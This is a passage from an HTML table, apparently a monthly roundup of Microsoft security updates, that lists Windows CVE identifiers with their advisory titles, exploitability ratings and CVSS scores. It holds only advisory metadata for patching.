Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58640">CVE-2026-58640</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49184">CVE-2026-49184</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49797">CVE-2026-49797</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50308">CVE-2026-50308</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50386">CVE-2026-50386</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50309">CVE-2026-50309</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50313">CVE-2026-50313</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50388">CVE-2026-50388</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50448">CVE-2026-50448</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50471">CVE-2026-50471</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50461">CVE-2026-50461</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50417">CVE-2026-50417</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50482">CVE-2026-50482</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50494">CVE-2026-50494</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50344">CVE-2026-50344</a></td><td><p>Windows OLE Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50686">CVE-2026-50686</a></td><td><p>Windows OLE Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50335">CVE-2026-50335</a></td><td><p>Windows Operating Systems Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50317">CVE-2026-50317</a></td><td><p>Windows Operating Systems Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54987">CVE-2026-54987</a></td><td><p>Windows Overlay Filter Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50435">CVE-2026-50435</a></td><td><p>Windows Overlay Filter Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50409">CVE-2026-50409</a></td><td><p>Windows Overlay Filter Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40400">CVE-2026-40400</a></td><td><p>Windows PowerShell Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49166">CVE-2026-49166</a></td><td><p>Windows Print Configuration Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55004">CVE-2026-55004</a></td><td><p>Windows Print Configuration Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50499">CVE-2026-50499</a></td><td><p>Windows Print Spooler Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50383">CVE-2026-50383</a></td><td><p>Windows Print Spooler Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57085">CVE-2026-57085</a></td><td><p>Windows Print Spooler Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58608">CVE-2026-58608</a></td><td><p>Windows Print Spooler Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50469">CVE-2026-50469</a></td><td><p>Windows Projected File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50434">CVE-2026-50434</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50339">CVE-2026-50339</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50430">CVE-2026-50430</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50334">CVE-2026-50334</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44800">CVE-2026-44800</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50363">CVE-2026-50363</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50431">CVE-2026-50431</a></td><td><p>Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50372">CVE-2026-50372</a></td><td><p>Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54982">CVE-2026-54982</a></td><td><p>Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54995">CVE-2026-54995</a></td><td><p>Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50666">CVE-2026-50666</a></td><td><p>Windows Remote Access Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56647">CVE-2026-56647</a></td><td><p>Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50330">CVE-2026-50330</a></td><td><p>Windows Remote Desktop Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50376">CVE-2026-50376</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50504">CVE-2026-50504</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58533">CVE-2026-58533</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58535">CVE-2026-58535</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58546">CVE-2026-58546</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58539">CVE-2026-58539</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55003">CVE-2026-55003</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57979">CVE-2026-57979</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50445">CVE-2026-50445</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50497">CVE-2026-50497</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54126">CVE-2026-54126</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57982">CVE-2026-57982</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50369">CVE-2026-50369</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58626">CVE-2026-58626</a></td><td><p>Windows Remote Desktop Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55014">CVE-2026-55014</a></td><td><p>Windows Remote Help Defense Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50318">CVE-2026-50318</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50407">CVE-2026-50407</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50357">CVE-2026-50357</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50441">CVE-2026-50441</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50668">CVE-2026-50668</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54109">CVE-2026-54109</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49792">CVE-2026-49792</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49793">CVE-2026-49793</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50362">CVE-2026-50362</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50492">CVE-2026-50492</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50501">CVE-2026-50501</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58530">CVE-2026-58530</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49791">CVE-2026-49791</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50451">CVE-2026-50451</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57096">CVE-2026-57096</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50323">CVE-2026-50323</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50452">CVE-2026-50452</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50348">CVE-2026-50348</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50345">CVE-2026-50345</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50322">CVE-2026-50322</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50340">CVE-2026-50340</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50410">CVE-2026-50410</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50449">CVE-2026-50449</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50460">CVE-2026-50460</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50403">CVE-2026-50403</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50385">CVE-2026-50385</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50413">CVE-2026-50413</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50457">CVE-2026-50457</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50486">CVE-2026-50486</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50503">CVE-2026-50503</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54125">CVE-2026-54125</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58527">CVE-2026-58527</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50373">CVE-2026-50373</a></td><td><p>Windows Search Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50679">CVE-2026-50679</a></td><td><p>Windows Search Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44806">CVE-2026-44806</a></td><td><p>Windows Secure Channel Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50681">CVE-2026-50681</a></td><td><p>Windows Secure Channel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56186">CVE-2026-56186</a></td><td><p>Windows Secure Channel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42982">CVE-2026-42982</a></td><td><p>Windows Secure Kernel Mode Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50392">CVE-2026-50392</a></td><td><p>Windows Secure Kernel Mode Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50694">CVE-2026-50694</a></td><td><p>Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50367">CVE-2026-50367</a></td><td><p>Windows Sensor Data Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58619">CVE-2026-58619</a></td><td><p>Windows Sensor Data Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50311">CVE-2026-50311</a></td><td><p>Windows Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56188">CVE-2026-56188</a></td><td><p>Windows Server Network driver Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50444">CVE-2026-50444</a></td><td><p>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50328">CVE-2026-50328</a></td><td><p>Windows Server Update Service (WSUS) Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58531">CVE-2026-58531</a></td><td><p>Windows SMB Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54997">CVE-2026-54997</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49801">CVE-2026-49801</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr></tbody></table><p></p><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50690"><br>CVE-2026-50690</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56168">CVE-2026-56168</a></td><td><p>Windows SMB Server Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50360">CVE-2026-50360</a></td><td><p>Windows SMB Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57089">CVE-2026-57089</a></td><td><p>Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</p></td><td><p>Exploitation 